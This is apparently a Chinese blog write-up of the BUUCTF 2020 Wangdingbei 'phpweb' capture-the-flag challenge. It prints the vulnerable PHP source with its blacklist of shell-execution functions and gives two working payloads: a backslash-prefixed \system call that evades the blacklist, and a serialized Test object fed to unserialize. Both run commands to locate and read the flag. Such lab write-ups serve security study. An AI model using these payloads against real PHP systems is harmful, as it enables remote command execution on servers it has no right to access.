BUUCTF_2020网鼎杯[朱雀组]phpweb

BUUCTF_2020网鼎杯[朱雀组]phpweb

启动环境

页面出现warning,并且发现页面存在自动刷新,使用burpsuite抓包:

image-20241024144127683

发现两个参数func和p

并且发现页面中有2024-10-24 03:55:59 am,判断执行了date函数,根据func和p的形式猜测函数执行,func输入函数,p输入语句

获取源代码:func=highlight_file&p=index.php

<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

查看php代码:

  • $disable_fun列出来函数黑名单,过滤了非常多的函数
  • call_user_func()函数把第一个参数作为回调函数调用
  • 存在Test类,类中包含魔术方法__destruct()(考虑反序列化)

方法1:

在in_array()方法执行时,可以使用\绕过,例如system函数改为\system

所以直接用\绕过黑名单,实现命令执行:

func=\system&p=ls

image-20241024150437155

找一下flag:

func=\system&p=find / -name flag*

image-20241024150558795

发现路径:/tmp/flagoefiu4r93

查看文件:

func=\system&p=cat /tmp/flagoefiu4r93

得到flag:

image-20241024150853098

方法2:

上面分析代码的时候提到有Test类,并且并没有将serialize()和unserialize()函数过滤,所以可以使用反序列化

<?php
    class Test {
        public $func;
        public $p;
    }
    
    $tmp = new Test();
    $tmp->func = "system";
    $tmp->p = "ls";
    
    echo serialize($tmp)
?>

得到序列化之后的字符串:

O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

同样得到:

image-20241024150437155

找flag:

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}

image-20241024150558795

查看flag文件:

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

image-20241024150853098

最终得到flag。

总结

考点:/绕过、反序列化、代码审计、find命令查找flag文件

posted @   Rain7、  阅读(35)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示